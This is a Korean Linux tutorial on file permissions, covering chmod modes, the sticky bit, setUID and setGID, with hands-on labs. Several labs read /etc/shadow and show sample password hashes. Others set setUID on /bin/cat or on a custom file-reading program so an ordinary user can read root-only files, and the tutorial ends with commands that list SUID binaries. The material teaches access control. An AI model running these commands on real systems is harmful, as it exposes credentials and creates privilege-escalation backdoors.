본문 바로가기

Linux/기타

퍼미션

주제 : 퍼미션 

여러사람이 사용하는 멀티유저 운영체제인 리눅스는 보안상의 이유로 각 파일마다 접근권한이 설정되어 있다.

이를 퍼미션이라고 한다.

예를들어 다른 사람이 자신의 파일을 읽을 수 있도록 허용할 수도 있고 거부할 수도 있다.

또한 자신의 파일에 다른 내용을 기록하게 허용할 수도 있고 거부할 수도 있다.

이들 권한들을 이용하여 각 파일과 디렉토리들을 다른 사람들과 공유하거나 아니면 개인적인 목적으로 사용할 수 있다. 

리눅스에서 사용자는 기본적으로 최소 하나의 그룹에 포함되어 있고 하나 이상의 그룹에 속할 수도 있다.


파일(디렉토리) 생성시 디폴트로 설정되는 권한

- 파일 권한은 umask 에 기본 설정된 값에 따라서 권한이 만들어진다.

- 명령어 : umask (내부명령어)


퍼미션 변경 명령어 

- 명령어 : chmod (외부명령어)

- 디렉토리 위치 : /bin

- 패키지 : coreutils 


퍼미션 변경 방법 

1. 문자를 이용한다.

- symbolic mode(심볼릭 모드)를 이용해서 변경(문자를 이용) 한다.

2. 숫자를 이용한다.

- octal mode(8진수 모드)를 이용해서 변경(숫자를 이용) 한다.


퍼미션의 3가지 구분

1. 소유자 (user)

2. 그룹 (group)

3. 다른사용자 (other)


리눅스의 퍼미션

- 퍼미션은 크게 아래처럼 읽기권한, 쓰기권한, 실행권한, 특수권한으로 되어있다. 

3개씩 끊어서 읽는다.

각 문자들은 rwx의 순서로 온다.(ex. wxr(x), rxw(x), xrw(x), only rwx)

    s   s  t <-- 특수 권한

  rwxrwxrwx <-- 일반 권한

 -rw-r--r-- 1 root root 1826 Nov 18 15:07 /etc/passwd

  ~~~   ~~~

  |  ~~~ |

  |  |  other

  |  |  

  |  group

  |

  user (owner)


r(Read)    : 읽기 권한

w(Write)   : 쓰기 권한 

x(eXecute) : 실행 권한 

s(Set-uid) : 특수 권한 (셋유저아이디 or 셋유아이디)

s(Set-gid) : 특수 권한 (셋그룹아이디 or 셋지아이디)

t(stickybiT) : 특수 권한 (스티키비트)


파일과 디렉토리에 대한 퍼미션의 의미

-----------------------------------+------------------------------------------------

             파일                                |          디렉토리 (x 권한을 같이 사용)

-----------------------------------+------------------------------------------------

r  파일의 내용을 볼 수 있는 권한              |  디렉토리의 파일 목록을 볼 수 있는 권한

-----------------------------------+------------------------------------------------

w  파일의 내용을 수정할 수 있는 권한        |  디렉토리에서 파일을 생성/삭제할 수 있는 권한

-----------------------------------+------------------------------------------------

x  파일을 실행할 수 있는 권한                 |  디렉토리에 접근할 수 있는 권한 ( cd 로 이동, cat /etc/passwd )

-----------------------------------+------------------------------------------------

setUID  실행중에 소유자의 권한으로 실행    |                   x 

-----------------------------------+------------------------------------------------

setGID  실행중에 그룹의 권한으로 실행      |   파일을 생성시 그룹의 권한으로 생성

-----------------------------------+------------------------------------------------

sticky-bit                           x          |   모두 생성하지만 지울땐 소유자가 만든 파일만 삭제 

(공용디렉토리에 사용, 파일에서는 요즘 사용 안함)

-----------------------------------+------------------------------------------------


x 권한이 들어있는 파일은 실행파일 과 디렉토리이다.

실행파일의 두 가지 종류

- 바이너리 파일(컴파일과정을 거친 파일)  (root : x 권한만 있으면 된다. 일반유저 : x 권한만 있으면 된다.) 

- 쉘스크립트 파일 (일반 텍스트 문서지만 실행 형식을 갖춘 파일)     (root : x 권한만 있어도 된다. 일반유저 : rx 모두 있어야 한다.-> 쉘스크립트는 한줄한줄 읽으면서 실행해야 하기 때문에 r권한이 있어야 한다.)

 

심볼릭 모드를 이용해서 변경하는 방법의 예

- 문자를 이용해서 퍼미션을 변경한다.

- 허용문자 : augorwxst,=-+

-----------------------------------------------

ex) chmode를 이용한 권한변경 연습

!!! -c 옵션 : 파일의 권한이 변경되면 권한을 출력한다.

!!! -v 옵션 : 파일의 권한이 변경되지 않더라도 권한을 출력한다.

# touch a.txt; chmod a-rwx a.txt

---------- 1 root root 0 Oct 31 17:28 a.txt

chmod -c u+rwx,go+rx a.txt, chmod u+w,a+rx, //  u: user, g: group, o: other   -c 옵션을 주면 변경하면서 출력

chmod a+rwx,go-w, chmod a=rwx,og-w

-rwxr-xr-x   

chmod go= , chmod go-rx

-rwx------   

chmod u-x a.txt

-rw-------   

chmod go+r a.txt

-rw-r--r--   


[root@localhost ~]# ls -l testdir/  ===> 디렉토리 안의 리스트의 권한을 보기

total 0

[root@localhost ~]# ls -ld testdir/  ===> 디렉토리 자체의 권한을 보기

drwxr-xr-x 2 root root 4096 Apr 20 11:26 testdir/


-----------------------------------------------


8진수(octal) 모드를 이용해서 변경하는 방법의 예

- 숫자를 이용해서 퍼미션을 변경한다.

- 허용숫자 : 0 ~ 7

  421 421

0 --- 000 

1 --x 001

2 -w- 010

3 -wx 011

4 r-- 100

5 r-x 101

6 rw- 110

7 rwx 111

-----------------------------------------------


8진수(octal) 모드를 이용해서 변경하는 방법의 예2

- 숫자를 이용해서 퍼미션을 변경한다.

- 허용숫자 : 0 ~ 7

  421  <----------- 특수권한

  421 421

0 --- 000 

1 --x 001

2 -w- 010

3 -wx 011

4 r-- 100

5 r-x 101

6 rw- 110

7 rwx 111


- 특수권한이 들어간 예

- rwsrwsrwt   ------> 7777

   4  2  1

대문자가 들어가있으면 x가 없다는 뜻

소문자가 들어가있으면 x가 있다는 뜻

-----------------------------------------------

많이 사용되는 실행파일 권한들

!! 특수권한이 없는 경우

-rwxr-xr-x   

-rwxr-x--x   <-- 보안상 r 권한은 제거

-rwxr-x---

-rwx------

-rwx--x---



!! 특수권한이 있는 경우

find / \(-perm -4000 -o -perm -2000 \) -ls


많이 사용되는 디렉토리 권한들

drwxr-xr-x   

drwxr-x--x   <-- 보안상 r 권한은 제거

drwxr-x---

drwx------

drwx--x---


많이 사용되는 파일들의 권한들 (실행파일과 디렉토리가 아닌 모든 파일들에 해당)

-rw-r--r--    644

-rw-r-----    640

-rw-------   600

*** 공통점 : 소유자는 user 부분의 권한을 모두 가진다는 것이다. ***



=====================================================================================

LAB> Linux Box 에 기본적으로 설정된 퍼미션을 알아보자


-- LAB 순서 --

1. /etc/shadow 파일 내용 보기

 - 관리자로 보기

 - 일반 유저로 보기

2. /root 디렉토리로 이동하기

-- LAB 순서 --


1. cat /etc/shadow    

- /etc/shadow 파일 내용을 관리자(root) 와 일반유저(linux)가 명령어 cat head tail 로 살펴보자.


- 사용자를 확인한다.

   uid : 시스템에서 OS가 사용자에게 부여한 번호

   0이면 관리자이다.

~ # id   

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:s0-s0:c0.c1023


- 권한을 확인한다.

~ # ls -l /bin/cat

-rwxr-xr-x 1 root root 20776 Mar 21  2012 /bin/cat

~ # ls -l /etc/shadow

-r-------- 1 root root 1222 Nov 18 13:18 /etc/shadow

~ # ls -l /usr/bin/head 

-rwxr-xr-x 1 root root 31788 Jul 22  2011 /usr/bin/head

~ # ls -l /usr/bin/tail

-rwxr-xr-x 1 root root 42956 Jul 22  2011 /usr/bin/tail

 : 그룹부분에 root 사용자만 들어가 있음(다른 사용자 없음)


- 파일의 내용을 확인한다.

~ # cat /etc/shadow     ---> 사용자가 로그인할 때 사용자의 비밀번호가 저장된 파일

root:$1$gmWxQmiB$CvtOiLu.oflCfdDQQLXdA1:15955:0:99999:7:::

bin:*:15955:0:99999:7:::

daemon:*:15955:0:99999:7:::

adm:*:15955:0:99999:7:::

lp:*:15955:0:99999:7:::

sync:*:15955:0:99999:7:::

shutdown:*:15955:0:99999:7:::

  :

  :

~ # head -2 /etc/shadow

root:$1$gmWxQmiB$CvtOiLu.oflCfdDQQLXdA1:15955:0:99999:7:::

bin:*:15955:0:99999:7:::

~ # tail -2 /etc/shadow

test3:!!:16268:0:99999:7:::

linux:!!:16263:0:99999:7:::


- 일반유저 linux 에서 파일의 내용을 확인한다.

~ # useradd linux

~ # su - linux


- 사용자를 확인한다.

~ $ id

uid=503(linux) gid=503(linux) groups=503(linux) context=root:system_r:unconfined_t:s0-s0:c0.c1023

~ $ cat /etc/shadow

cat: /etc/shadow: Permission denied

~ $ head /etc/shadow

head: cannot open `/etc/shadow' for reading: Permission denied

~ $ tail /etc/shadow

tail: cannot open `/etc/shadow' for reading: Permission denied

~ $ more  /etc/shadow

/etc/shadow: Permission denied


2. /root 디렉토리로 이동하기

- /root 디렉토리로 관리자(root) 와 일반유저(linux)가 명령어 cd 로 이동해보자.


- 권한을 확인한다.

# ls -ld /root

drwxr-x--- 8 root root 4096 Jul 13 03:07 /root


# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 16:47 /tmp


- 디렉토리로 이동한다.

# cd /tmp

# cd /root

# su - linux


- 사용자를 확인한다.

$ id

uid=503(linux) gid=503(linux) groups=503(linux) context=root:system_r:unconfined_t:s0-s0:c0.c1023


- 디렉토리로 이동한다.

~ $ ls -ld /root

drwxr-x--- 8 root root 4096 Jul 13 02:56 /root

$ cd /tmp

-- 일반 유저의 권한이 x(이동)권한이 있으므로 /tmp 디렉토리에 들어갈 수 있다.

$ pwd

$ cd /root

-bash: cd: /root: Permission denied

-- 일반 유저의 권한 x(이동) 권한이 없으므로 /root 디렉토리에 들어갈 수 없다.




cat /etc/shadow명령을 실행시키려면

1. cat 명령어가 들어 있는 /, bin, cat 에 접근이 가능한지 먼저 확인

2. 그 shadow에 접근하는 경로별로 /, etc, shadow를 확인한다.



$ cat /etc/shadow  

cat: /etc/shadow: Permission denied

-- 일반유저는 권한이 없기 때문에 /etc/shadow 파일을 볼 수 없다.

$ ls -ld /

drwxr-xr-x 23 root root 4096 Oct 20 10:16 /

$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

$ ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat

$ ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 23 14:37 /etc

$ ls -l /etc/shadow   --> 사용자의 비밀번호

-r-------- 1 root root 970 Oct 20 11:39 /etc/shadow

$ ls -l /etc/passwd  --> 사용자의 목록

-rw-r--r-- 1 root root 1595 Oct 20 11:39 /etc/passwd

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

  :

  :


=====================================================================================

LAB> 웹서버 문서의 권한을 테스트해보자.


* 웹서버의 기본 문서를 읽기권한이 있으므로 클라리언트에서 볼 수 있다.

# yum -y install httpd

# /etc/init.d/httpd start


- httpd 프로세스의 사용자를 확인한다.

# ps aux | grep http

root      3502  0.0  1.1  10092  2920 ?        Ss   13:52   0:00 /usr/sbin/httpd

apache    3504  0.0  1.0  10224  2640 ?        S    13:52   0:00 /usr/sbin/httpd

apache    3505  0.0  1.0  10092  2620 ?        S    13:52   0:00 /usr/sbin/httpd

:

:


# cd /var/www/html

# vi index.html

-- index.html --

Hello My Server!!!

-- index.html --


# ifconfig eth1

eth1      Link encap:Ethernet  HWaddr 08:00:27:AD:8E:F4  

          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0


# iptables -F


브라우저로 접속 : http://192.168.56.101


- 일반 유저가 파일의 내용을 수정!!!

# su - linux

$ cd /var/www/html


$ ls -nd

drwxr-xr-x 2 0 0 4096 Apr 20 13:54 .


$ ls -ld 

drwxr-xr-x 2 root root 4096 Oct 23 19:46 .

        ~ <-- root 사용자 아닌 모든 유저는 파일을 생성할 수 없다.

$ ls -l

total 8

-rw-r--r-- 1 root root 19 Oct 23 19:46 index.html

        ~ <-- root 사용자 아닌 모든 유저는 파일을 수정할 수 없다.


$ cat index.html 

Hello My Server!!!

$ vi index.html      <-- 파일의 내용을 수정할 수 없다.

         

$ touch index2.html  <-- 파일을 생성할 수 없다.

touch: cannot touch `index2.html': Permission denied


$ exit

# pwd

/var/www/html

# ls -l index.html 

-rw-r--r-- 1 root root 19 Oct 23 19:46 index.html

# chmod o+w index.html 

# ls -l

total 8

-rw-r--rw- 1 root root 19 Oct 23 19:46 index.html

        ~

# su - linux

$ cd /var/www/html

$ vi index.html       <-- 파일의 내용을 수정할 수 있다.


- 디렉토리가 쓰기 권한이 있고 파일이 쓰기 권한이 없을 때도 변경할 수 있는가 ?

# chmod o+w .

# ls -ld 

drwxr-xrwx 2 root root 4096 Oct 23 19:46 .


# chmod 644 index.html 

# ls -l

total 8

-rw-r--r-- 1 root root 22 Oct 23 19:56 index.html


- 저장시 :w 하면 저장이 안되고 :w! 해야 저장할 수 있다. 

  파일이 w 권한이 없어도 저장되는 이유는 디렉토리의 권한이 파일보다 

  우선순위를 먼저 가지기 때문이다.

$ vi index.html

-- index.html --

Hello My Server!!! ^^*;;

-- index.html --


$ ls -l index.html 

-rw-r--r-- 1 linux linux 25 Oct 23 20:10 index.html

=====================================================================================


=====================================================================================

LAB> /tmp 디렉토리 테스트 

   !!! 시스템에 sticky bit 권한이 있는 경우의 디렉토리는 취약하다...!!!

   !!! 이런 경우에 sticky bit 권한이 있어도 이것을 보안상 조절하는 방법이 존재한다...!!!


sticky bit를 왜 걸까?

 -  공유 디렉토리를 사용할 때, 다른 사람이 자신의 파일을 삭제할 수 없게 하기 위해. (ex, /tmp )


1. 디렉토리에 sticky bit 권한이 없을 경우 (r w x r w x r w x )

#chmod -c o+t /home/tmp

#ls -ld /home/tmp

$su - linux

$cp /et/passwd /home/tmp/a.txt

$ls -l /home/tmp/a.txt

$exit

- sticky bit가 /home/tmp 디렉토리에 걸려있으므로 linux 가 생성한 파일을 windows 사용자가 삭제할 수 없다.

#su - windows

$rm -fv /home/tmp/a.txt   <----------X 삭제불가


2. 디렉토리에 sticky bit 권한이 없을 경우 (r w x r w x r w t ) ---> 남이 만든 폴더에 생성은 가능하지만 삭제 불가

#mkdir -m 777 /home/tmp

#ls -ld /home/tmp

drwxrwxrwx 2 root root .....


-linux 사용자가 /home/tmp 디렉토리에 쓰기 권한이 있으므로 cp와 touch 명령어로 파일을 생성할 수 있다.

#su - linux 

#ls -ld /home/tmp


#cp /bin/mv /home/tmp   <-----O

#touch /home/tmp/a.txt   <-----O


-windows 사용자가 /home/tmp 디렉토리에 쓰기 권한이 있으므로 linux 사용자가 생성한 파일 mv, a.txt. 파일을 삭제할 수 있다.

#useradd windows

#rm -fv /home/tmp/mv

#rm -fv /home/tmp/a.txt




- 시스템에 기본적으로 설정되어 있는 공유 디렉토리인 /tmp 디렉토리에서 작업을 해보자.

[root@localhost ~]# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 24 02:55 /tmp


#useradd user1

# su - user1

$ cd /tmp


$ touch user1.txt

$ ls -l user1.txt 

-rw-rw-r-- 1 user1 user1 0 Oct 24 02:54 user1.txt


# su - linux

$ cd /tmp

$ touch linux.txt

$ ls -l linux.txt 

-rw-rw-r-- 1 linux linux 0 Oct 24 02:54 linux.txt


$ rm -f linux.txt (user1 상태로)

rm: cannot remove `linux.txt': Operation not permitted


$ rm -f user1.txt (linux 상태로)

rm: cannot remove `user1.txt': Operation not permitted


$ rm -fv user1.txt  (user1 상태로)

removed `user1.txt'

$ ls -l user1.txt

ls: user1.txt: No such file or directory


$ rm -f linux.txt  (linux 상태로)

$ ls -l linux.txt

ls: linux.txt: No such file or directory

==================================================================

==================================================================

LAB> Set-UID 테스트1


[root@localhost ~]# ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /in

[root@localhost ~]# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 bin/cat

[root@localhost ~]# ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 24 02:40 etc

[root@localhost ~]# ls -l /etc/shadow

-r-------- 1 root root 1030 Oct 24 02:40 /etc/shadow


-setUID 가 없을 경우

  linux 사용자의 권한으로 cat을 실행


-setUID 가 있을 경우

  linux 사용자가 실행하지만 소유자(root) 권한으로 cat을 실행한다.



#su - linux


[user1@localhost ~]$ cat /etc/shadow

cat: /etc/shadow: Permission denied    ----> setUID가 없다


#exit


[root@localhost ~]# chmod u+s /bin/cat -c   ----> root 에서 setUID 설정

mode of `/bin/cat' changed to 4755 (rwsr-xr-x)


#su - linux


[user1@localhost ~]$ cat /etc/shadow    ----> linux 사용자가 실행가능

  :

  :

==================================================================

모든 프로세스는 실행한 사용자의 권한으로 실행된다.

가끔씩 이를 바꿔줘야할 필요가 있을 때, setUID를 사용한다.

==================================================================

LAB> Set-UID 테스트2

setUID를 사용하는 경우

/etc/passwd 를 일반 사용자는 읽기만 할 뿐 쓰거나 실행할 수 없다. 하지만

/usr/bin/passwd 파일의 권한이 setUID 권한이 있으므로 일반유저가 저장할 수 없는 파일인 /etc/shadow 파일에 자신의 비밀번호를 저장할 수 있는것이다.


# grep --color linux /etc/shadow

linux:!!:16542:0:99999:7:::

# passwd linux

Changing password for user linux.

New UNIX password: 

Retype new UNIX password: 

passwd: all authentication tokens updated successfully.

# grep --color linux /etc/shadow

linux:$1$A1iOpfhj$dcEZnhIHOUV7ZQsCgEYF//:16546:0:99999:7:::

사용자 계정명:비밀번호(!!는 비밀번호가 없다는 뜻):

# ls -l /etc/shadow

-r-------- 1 root root 1018 Apr 17 22:50 /etc/shadow


# ls -l `which passwd`

-rwsr-xr-x 1 root root 23420 Aug 11  2010 /usr/bin/passwd

# su - linux


$ passwd

Changing password for user linux.

Changing password for linux

(current) UNIX password: 

New UNIX password: 

Retype new UNIX password: 

passwd: all authentication tokens updated successfully.

$ exit



** 일반 사용자가 /usr/bin/passwd에 설정된 setUID에 의해서 /etc/shadow 파일에 자신의 비밀번호를 저장할 수 있다.

# grep --color linux /etc/shadow

linux:$1$SZhz3G7M$sqOSClylxrybmeMW.TOq21:16542:0:99999:7:::

==================================================================


==================================================================

LAB> Set-UID 테스트3

# vi fileread.c

-- fileread.c --

/*

 * filename : fileread.c

 */

#include <stdio.h>  // printf, fprintf, fgets, fopen, fclose

#include <stdlib.h> // exit


int main()

{

  FILE *fp;

  char buf[1024];


  // a.txt 파일을 읽기 권한으로 연다.

  fp = fopen("a.txt", "r");

  if(fp == NULL)  // 열지 못했으면 에러를 출력하고 프로그램을 종료한다.

  {

    fprintf(stderr, "can't open file\n");  // 에러를 화면에 출력한다.

    exit(1);  // 프로그램을 종료한다.

  }


  fgets(buf, 1024, fp); // 1024 만큼 파일을 읽어서 buf에 저장하라

  printf("%s", buf);    // 저장된 내용을 화면에 출력해라

  fclose(fp);

  return 0;

}

-- fileread.c --


# gcc -o /tmp/fileread fileread.c 

# cd /tmp

# cp /etc/passwd a.txt

# ./fileread

root:x:0:0:root:/root:/bin/bash

# su linux

$ ./fileread

root:x:0:0:root:/root:/bin/bash

$ exit

# cp -a /etc/shadow a.txt

# ls -l a.txt 

-r-------- 1 root root 1018 Apr 17 22:53 a.txt

# su linux

$ ./fileread 

can't open file

$ exit

# chmod u+s fileread

# ls -l fileread 

-rwsr-xr-x 1 root root 5630 Apr 17 23:29 fileread

   ~

# su linux

$ ./fileread 

root:$1$P25UygmC$vImxWX08gOtNQovPf4tnR.:16512:0:99999:7:::


권한이 400인 a.txt 파일을 읽어서 출력을 하는  fileread.c 파일을 컴파일을 하게되면 root 사용자는 실행이 가능하다. 하지만 linux 사용자가 fileread 파일을 실행하게되면은 파일을 열 수 없다. 그 이유는 a.txt 파일을 읽을 수 있는 권한이 없기 때문이다.

하지만

실행파일 fileread 에 setUID 권한(s)을 설정하게되면 linux 사용자가 root사용자의 권한으로  a.txt 파일을 읽어서 실행할 수 있다.


==================================================================


==================================================================

LAB> Set-UID 테스트4

[root@localhost ~]# umask

0022

[root@localhost ~]# echo 1234 > /tmp/readme.txt 

[root@localhost ~]# chmod o= /tmp/readme.txt 

[root@localhost ~]# ls -l /tmp/readme.txt 

-rw-r----- 1 root root 5 Oct 24 03:35 /tmp/readme.txt

[root@localhost ~]# chmod 755 /bin/cat

[root@localhost ~]# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat


- /bin/cat 은 일반유저가 실행할 때 자신의 권한으로 실행하므로 

  /tmp/readme.txt 파일은 볼 수가 없다.

[user1@localhost ~]$ cat /tmp/readme.txt 

cat: /tmp/readme.txt: Permission denied


- /bin/cat 파일을 SetGID 권한을 부여한다.

[root@localhost ~]# chmod g+s /bin/cat

[root@localhost ~]# ls -l /bin/cat

-rwxr-sr-x 1 root root 23260 Jul 22  2011 /bin/cat


- 일반유저가 /bin/cat 을 실행할 때 SetGID 권한이 설정되어 있으므로 

  /tmp/readme.txt 파일을 볼 수 있다.

[user1@localhost ~]$ cat /tmp/readme.txt 

1234

==================================================================

==================================================================

LAB> SetUID, SetGID 테스트 하기


# vi fileread.c 

-- fileread.c --

/*

 * filename : fileread.c

 */

#include <stdio.h>  // printf, fprintf, fgets, fopen, fclose

#include <stdlib.h> // exit


int main(int argc, char *argv[])

{

  FILE *fp;

  char buf[1024];


  // 인자가 없다면 에러를 출력하고 프로그램을 종료한다.

  if(argc != 2)

  {

    fprintf(stderr, "Usage : %s filename \n", argv[0]);

    exit(1);

  }


  // a.txt 파일을 읽기 권한으로 연다.

  fp = fopen(argv[1], "r");

  if(fp == NULL)  // 열지 못했으면 에러를 출력하고 프로그램을 종료한다.

  {

    fprintf(stderr, "can't open file\n");  // 에러를 화면에 출력한다.

    exit(1);  // 프로그램을 종료한다.

  }


  fgets(buf, 1024, fp); // 1024 만큼 파일을 읽어서 buf에 저장하라

  printf("%s", buf);    // 저장된 내용을 화면에 출력해라

  fclose(fp);

  return 0;

}

-- fileread.c --


# gcc -o /tmp/fileread fileread.c 

# cd /tmp

# ls -l fileread 

-rwxr-xr-x 1 root root 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread 

Usage : ./fileread filename 

$ ./fileread /etc/shadow

can't open file

$ ls -l /etc/shadow

-r-------- 1 root root 1018 Apr 17 22:53 /etc/shadow

$ ./fileread /etc/passwd

root:x:0:0:root:/root:/bin/bash

$ ./fileread /etc/fstab 

/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1

$ ls -l /etc/fstab 

-rw-r--r-- 1 root root 534 Mar 18 18:28 /etc/fstab

$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1657 Apr 17 20:20 /etc/passwd

$ exit

exit


# chmod g+s fileread -c


# ls -l /etc/fstab 

-rw-r--r-- 1 root root 534 Mar 18 18:28 /etc/fstab

# chmod o-r /etc/fstab -c

mode of `/etc/fstab' changed to 0640 (rw-r-----)


# chmod 755 /bin/cat

# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Mar 21  2012 /bin/cat

# su linux

$ cat /etc/fstab 

cat: /etc/fstab: Permission denied


$ ls -l fileread 

-rwxr-sr-x 1 root root 5813 Apr 18 00:00 fileread


$ ./fileread /etc/fstab 

/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1

==================================================================


==================================================================

LAB> uid, gid, euid, egid 값 확인하기

참고사이트 : http://www.joinc.co.kr/modules/moniwiki/wiki.php/man/2/getuid


getuid()는 현재 프로세스의 실제 유저 아이디를 얻어온다.

geteuid()는 현재 프로세스의 유효 유저 아이디(effective user ID)를 언어온다.


uid : 사용자에게 부여한 번호        getuid()

gid : 그룹에게 부여한 번호          getgid()

euid : 유효 사용자 번호             geteuid()

egid : 유효 그룹 번호               getegid()


- setuid 가 없을 경우 

$ id

uid=500(linux) gid=500(linux) groups=500(linux)

$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 500 

EGID : 500


- setuid 가 있을 경우


# chmod u+s uidtest 

# ls -l uidtest

-rwsr-xr-x 1 root root 5407 Apr 18 00:35 uidtest

$ ls -n uidtest

-rwsr-xr-x 1 0 0 5407 Apr 18 00:35 uidtest

            ~~ 

# su linux


$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 0       <-- setuid 가 걸린 UID 가 표시가 된다.

EGID : 500 

$ exit


# chmod g+s uidtest

# ls -l uidtest

-rwsr-sr-x 1 root root 5407 Apr 18 00:35 uidtest

   ~  ~

   |  |

   |  +-- EGID

   +-- EUID

# su linux

$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 0 

EGID : 0 


# chgrp users uidtest

# chmod ug+s uidtest

# ls -n uidtest

-rwsr-sr-x 1 0 100 5407 Apr 18 00:35 uidtest

# ls -l uidtest

-rwsr-sr-x 1 root users 5407 Apr 18 00:35 uidtest

# su linux

$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 0 

EGID : 100 


LAB> setUID 개념 예제

!!반드시 이해할것!!


[root@localhost tmp]# echo 1234 > a.txt

[root@localhost tmp]# chmod 640 a.txt

[root@localhost tmp]# chgrp users a.txt 

[root@localhost tmp]# ls -l a.txt 

-rw-r----- 1 root users 5 Apr 21 11:40 a.txt

[root@localhost tmp]# ls -l fileread

-rwsr-xr-x 1 root root 5630 Apr 21 10:20 fileread     ---> 그룹이 root 였을때 s

[root@localhost tmp]# chgrp users fileread

[root@localhost tmp]# ls -l fileread                                  (그룹 변경시 특수 권한 해제)

-rwxr-xr-x 1 root users 5630 Apr 21 10:20 fileread    ---> 그룹을 users로 변경했을 때 x로 변경됨

[root@localhost tmp]# chmod g+s fileread

[root@localhost tmp]# ls -l fileread

-rwxr-sr-x 1 root users 5630 Apr 21 10:20 fileread

[root@localhost tmp]# su linux

[linux@localhost tmp]$ ./fileread a.txt

1234

[linux@localhost tmp]$ exit

exit

[root@localhost tmp]# chmod g-s fileread

[root@localhost tmp]# su linux

[linux@localhost tmp]$ ./fileread a.txt 

can't open file 

=========================================================


- 예제2


사용자 : linux   uid : 500

그룹   : boan    gid : 7000


실행시 fileread 의 권한 : uid : 500, gid : 7000, euid : 500, egid : 7000

fileread  권한 : rwxr-xr-x  root(0) root(0)

a.txt     권한 : -rw-r-----  root(0) project(5000)

$ fileread a.txt    <-- 권한이 없으므로 a.txt 에 접근할 수 없다.

          


실행시 fileread 의 권한 : uid : 500, gid : 7000, euid : 0, egid : 7000

fileread  <-- rwsr-xr-x  root(0) root(0)

a.txt  : -rw-r-----  root(0) project(5000)

$ fileread a.txt    <-- euid 권한이 0 이므로 a.txt 에 접근할 수 있다.


실행시 fileread 의 권한 : uid : 500, gid : 7000, euid : 500, egid : 5000

fileread  <-- rwxr-sr-x  root(0) project(5000)

a.txt  : -rw-r-----  root(0) project(5000)

$ fileread a.txt    <-- O


==================================================================


==================================================================

LAB> 

!!! a.txt 파일에 접근하기 위해서는 파일의 권한이 일치해야 한다. !!!

# vi fileread.c

-- fileread.c --

/*

 * filename : fileread.c

 */

#include <stdio.h>  // printf, fprintf, fgets, fopen, fclose

#include <stdlib.h> // exit

#include <sys/types.h>

#include <unistd.h>


int main(int argc, char *argv[])

{

  FILE *fp;

  char buf[1024];


  printf("UID  : %d \n", getuid());

  printf("GID  : %d \n", getgid());

  printf("EUID : %d \n", geteuid());

  printf("EGID : %d \n", getegid());



  // 인자가 없다면 에러를 출력하고 프로그램을 종료한다.

  if(argc != 2)

  {

    fprintf(stderr, "Usage : %s filename \n", argv[0]);

    exit(1);

  }


  // a.txt 파일을 읽기 권한으로 연다.

  fp = fopen(argv[1], "r");

  if(fp == NULL)  // 열지 못했으면 에러를 출력하고 프로그램을 종료한다.

  {

    fprintf(stderr, "can't open file\n");  // 에러를 화면에 출력한다.

    exit(1);  // 프로그램을 종료한다.

  }


  fgets(buf, 1024, fp); // 1024 만큼 파일을 읽어서 buf에 저장하라

  printf("%s", buf);    // 저장된 내용을 화면에 출력해라

  fclose(fp);

  return 0;

}

-- fileread.c --


# gcc -o /tmp/fileread fileread.c 

# cd /tmp/

# ls -l fileread 

-rwxr-xr-x 1 root root 6287 Apr 18 02:11 fileread

# su linux

$ ./fileread a.txt

UID  : 500 

GID  : 500 

EUID : 500 

EGID : 500 

can't open file


$ exit

exit

[root@fw tmp]# chmod u+s fileread 

[root@fw tmp]# ls -l fileread 

-rwsr-xr-x 1 root root 6287 Apr 18 02:11 fileread

[root@fw tmp]# su linux

[linux@fw tmp]$ ./fileread a.txt

UID  : 500 

GID  : 500 

EUID : 0 

EGID : 500 

1234

[linux@fw tmp]$ 

[linux@fw tmp]$ 

[linux@fw tmp]$ 

[linux@fw tmp]$ exit

exit

[root@fw tmp]# ls -l fileread 

-rwsr-xr-x 1 root root 6287 Apr 18 02:11 fileread

[root@fw tmp]# chgrp project fileread 

[root@fw tmp]# chmod g+s fileread 

[root@fw tmp]# ls -l fileread 

-rwxr-sr-x 1 root project 6287 Apr 18 02:11 fileread

[root@fw tmp]# su linux

[linux@fw tmp]$ ./fileread a.txt

UID  : 500 

GID  : 500 

EUID : 500 

EGID : 5000 

1234

[linux@fw tmp]$ ls -l a.txt 

-rw-r----- 1 root project 5 Apr 18 00:47 a.txt

[linux@fw tmp]$ ls -n a.txt 

-rw-r----- 1 0 5000 5 Apr 18 00:47 a.txt

==================================================================


========================================================================================

LAB> 8진수모드를 이용한 권한 테스트하기

참고사이트 : http://permissions-calculator.org/


# cd

# touch perm.txt

# ls -l perm.txt

-rw-r--r--


421421421

---------  

r--rws--t 

--s--s--x

rwxrwxrwt  

rwSr-x--T 

-wS-w----

--S-----x  

--srw-rwx  

r-S-wS-w-  

rw---s--t  

rw---S--T  

rw------T  

r----x--t  

=========================================================================================


=========================================================================================

LAB> LINUX BOX 에서 특수 권한이 있는 모든 파일을 검색하기


find 명령어의 -perm 옵션으로 검색할 수 있다.


2>/dev/null : 에러는 화면에 출력하지 말라는 의미.


- SetUID 가 들어있는 파일들을 모두 검색하되 에러는 화면에 출력하지 않는다.

# find / -perm -4000 2>/dev/null -ls


- SGID 가 들어있는 파일들을 모두 검색하되 에러는 화면에 출력하지 않는다.

# find / -perm -2000 2>/dev/null -ls


- SUID 와 SGID 권한이 있는 파일들을 모두 검색하되 에러는 화면에 출력하지 않는다.

